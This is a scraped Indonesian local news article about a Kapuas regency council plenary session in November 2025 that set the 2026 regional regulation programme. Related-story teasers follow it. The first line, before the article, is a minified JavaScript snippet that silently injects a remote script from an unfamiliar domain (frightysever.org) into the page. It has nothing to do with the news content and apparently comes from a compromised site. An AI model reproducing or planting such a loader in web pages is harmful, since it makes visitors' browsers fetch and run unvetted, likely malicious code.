(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Kepala Seksi Intel (Pasi Intel) Kapten Inf Imam Markum mewakili Komandan Kodim (Dandim) 1011/Kuala Kapuas rapat paripurna ke 8 masa persidangan III tahun sidang 2025 DPRD Kabupaten Kapuas, Jum’at (21/11/2025) siang.
Rapat paripurna berlangsung mulai pukul 08.30 WIB hingga selesai di ruang rapat DPRD Kabupaten Kapuas, Jalan Tambun Bungai, Kelurahan Selat Tengah, Kecamatan Selat Kabupaten Kapuas, Provinsi Kalimantan Tengah.
Rapat paripurna dihadiri oleh berbagai unsur Forkopimda dan pejabat daerah. Turut hadir Sekda Kapuas Usis I Sangkai, serta sejumlah perwakilan instansi dan lembaga lainnya.
Baca juga: Pasokan Terganggu, Harga Cabai Naik di Pasar Bauntung Banjarbaru
Komandan Kodim 1011/Kuala Kapuas diwakili oleh Pasi Intel Kapten Inf Imam Markum, kepala OPD, serta tamu undangan lainnya.
Wakil Ketua II DPRD Kabupaten Kapuas, Berinto membuka secara resmi membuka agenda rapat paripurna. Ia menyampaikan bahwa rapat paripurna ke 8 masa persidangan III tahun 2025 mengenai laporan Bapemperda terhadap penyusunan Propemperda tahun 2025, kemudian Penetapan program pembentukan peraturan daerah tahun 2026.
Dalam rapat paripurna, Bupati Kapuas yang dibacakan Sekda Kapuas Usis I Sangkai menyampaikan bahwa penyusunan Propemperda mengacu pada ketentuan Permendagri 80/2015 dan Permendagri 120/2018, dua regulasi penting yang memastikan setiap rancangan peraturan daerah memiliki pijakan hukum jelas dan terarah.
Ia menekankan bahwa prioritas penyusunan regulasi daerah tidak hanya didasarkan pada kewajiban administratif, tetapi juga pada aspirasi masyarakat, rencana pembangunan daerah, dan kebutuhan nyata dalam penyelenggaraan otonomi daerah.
Baca juga: Sekda Kapuas Hadiri Rapat Paripurna Propemperda 2026
Lebih lanjut, Usis juga mengingat kembali bahwa Propemperda 2026 telah melalui proses pembahasan intens saat rapat pada 18 November 2025.
“Kami menyampaikan terima kasih dan penghargaan setinggi-tingginya kepada DPRD Kapuas dan seluruh tim pemerintah daerah yang telah bekerja bersama menyusun Propemperda Tahun 2026,” ungkap Usis.
Melalui penetapan Propemperda ini, Pemerintah Kabupaten Kapuas berharap dapat memperkuat landasan hukum pembangunan, sekaligus menghadirkan tata kelola pemerintahan yang lebih responsif terhadap kebutuhan masyarakat, sebuah langkah kecil namun penting menuju Kapuas yang lebih maju. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
This website uses cookies.